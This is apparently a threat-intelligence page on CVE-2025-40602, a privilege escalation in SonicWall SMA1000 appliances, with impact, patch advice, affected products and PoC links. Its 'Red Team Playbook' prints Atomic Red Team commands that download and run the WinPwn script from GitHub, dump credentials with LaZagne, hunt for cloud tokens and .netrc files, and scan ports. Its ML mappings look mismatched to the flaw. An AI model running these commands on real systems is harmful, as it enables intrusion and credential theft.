CVE-2025-40602
Overview
This vulnerability is a local privilege escalation caused by insufficient authorization checks within the SonicWall SMA1000 appliance management console (AMC). The flaw arises from improper enforcement of access control mechanisms, allowing users with limited privileges to perform actions reserved for higher privilege levels. The affected component is the AMC interface responsible for managing device configurations and operations.
Vulnerability Description
A local privilege escalation vulnerability due to insufficient authorization in the SonicWall SMA1000 appliance management console (AMC).
Impact
An attacker with access to a low-privileged account on the SonicWall SMA1000 management console can escalate their privileges to administrative level without additional authentication. This enables full control over the appliance configuration, potentially allowing unauthorized changes to security policies, user accounts, and network settings. The vulnerability facilitates lateral movement within the network and can lead to compromise of sensitive data or disruption of network security controls.
Solution
SonicWall has released security updates addressing this privilege escalation in affected SMA1000 firmware versions, including SMA6200, SMA6210, and SMA7200. Administrators should apply the patches detailed in the SonicWall advisory SNWLID-2025-0019 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0019. No specific workarounds are provided; timely application of the vendor-supplied firmware updates is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The local privilege escalation vulnerability present in the management console of the SonicWall SMA1000 appliance series stems from insufficient authorization checks. This weakness allows an authenticated user to gain elevated privileges, potentially leading to unauthorized access to sensitive configurations and management functions. The flaw arises from improper validation of user roles and permissions within the appliance's management interface, which can be exploited by users with limited access rights. By manipulating requests or exploiting the management console's logic, an attacker could escalate their privileges, gaining control over critical system settings and data.
Exploitation of this vulnerability can occur through various attack vectors. An insider threat is a significant concern, where a legitimate user with basic access could leverage the flaw to gain administrative rights. Additionally, if an attacker were to compromise a user's credentials through phishing or other means, they could exploit this vulnerability to escalate their privileges and execute malicious actions undetected. Scenarios may include altering firewall rules, accessing sensitive logs, or even disabling security features, all of which could compromise the security posture of the organization relying on the affected appliances.
The real-world impact of this vulnerability is substantial, particularly for organizations that depend on SonicWall's SMA1000 appliances for secure remote access and VPN services. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The business risks associated with such incidents include financial losses, reputational damage, and regulatory penalties, especially for organizations handling sensitive customer information or operating in regulated industries. The ability of an attacker to manipulate security settings could also lead to further exploitation, creating a cascading effect that jeopardizes the entire network infrastructure.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the firmware of the affected SonicWall appliances is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, organizations should conduct routine security assessments and penetration testing to identify potential weaknesses in their systems. Monitoring user activity and implementing strict access controls can help detect abnormal behavior indicative of privilege escalation attempts. Furthermore, educating users about security best practices, such as recognizing phishing attempts and the importance of strong password management, can significantly reduce the risk of exploitation.
In conclusion, the local privilege escalation vulnerability in the SonicWall SMA1000 appliance management console presents a serious threat to organizations utilizing these devices. The potential for unauthorized access and the subsequent risks to data integrity and confidentiality necessitate immediate attention. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, ensuring a robust security posture in an increasingly complex threat landscape.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-40602, rising by approximately 25%. This shift reflects a growing likelihood of exploitation attempts targeting the SonicWall SMA1000 appliance management console vulnerability. While the overall EPSS remains low and stable, the upward adjustment signals heightened attention from threat actors, possibly influenced by the recent addition of this vulnerability to the Known Exploited Vulnerabilities (KEV) catalog. The emergence of new proof-of-concept exploits on public repositories further underscores the expanding exploit landscape, potentially lowering the barrier for adversaries to develop functional attacks. Although ransomware use linked to this vulnerability remains unconfirmed, the increased EPSS and public exploit availability suggest that defenders should anticipate a gradual rise in exploitation attempts. Consequently, the threat level should be considered elevated from a baseline medium risk to a cautiously heightened posture, emphasizing the need for vigilant monitoring of SonicWall SMA1000 environments.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma6200 Firmware | All |
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma6200 Firmware | All |
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma6210 Firmware | All |
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma6210 Firmware | All |
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma7200 Firmware | All |
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma7200 Firmware | All |
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma7210 Firmware | All |
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma7210 Firmware | All |
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma8200v | All |
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma8200v | All |
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
rxerium/CVE-2025-40602
Detection for CVE-2025-40602
|
rxerium | 2 | 1 | 2025-12-18 | View |
|
cyberleelawat/CVE-2025-40602
CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console (AMC) of SonicWall Secu...
|
cyberleelawat | 1 | 0 | 2025-12-18 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-40602 |
| psirt.global.sonicwall.com |
GitHub CVE
vendor-advisory
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0019 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-40602 |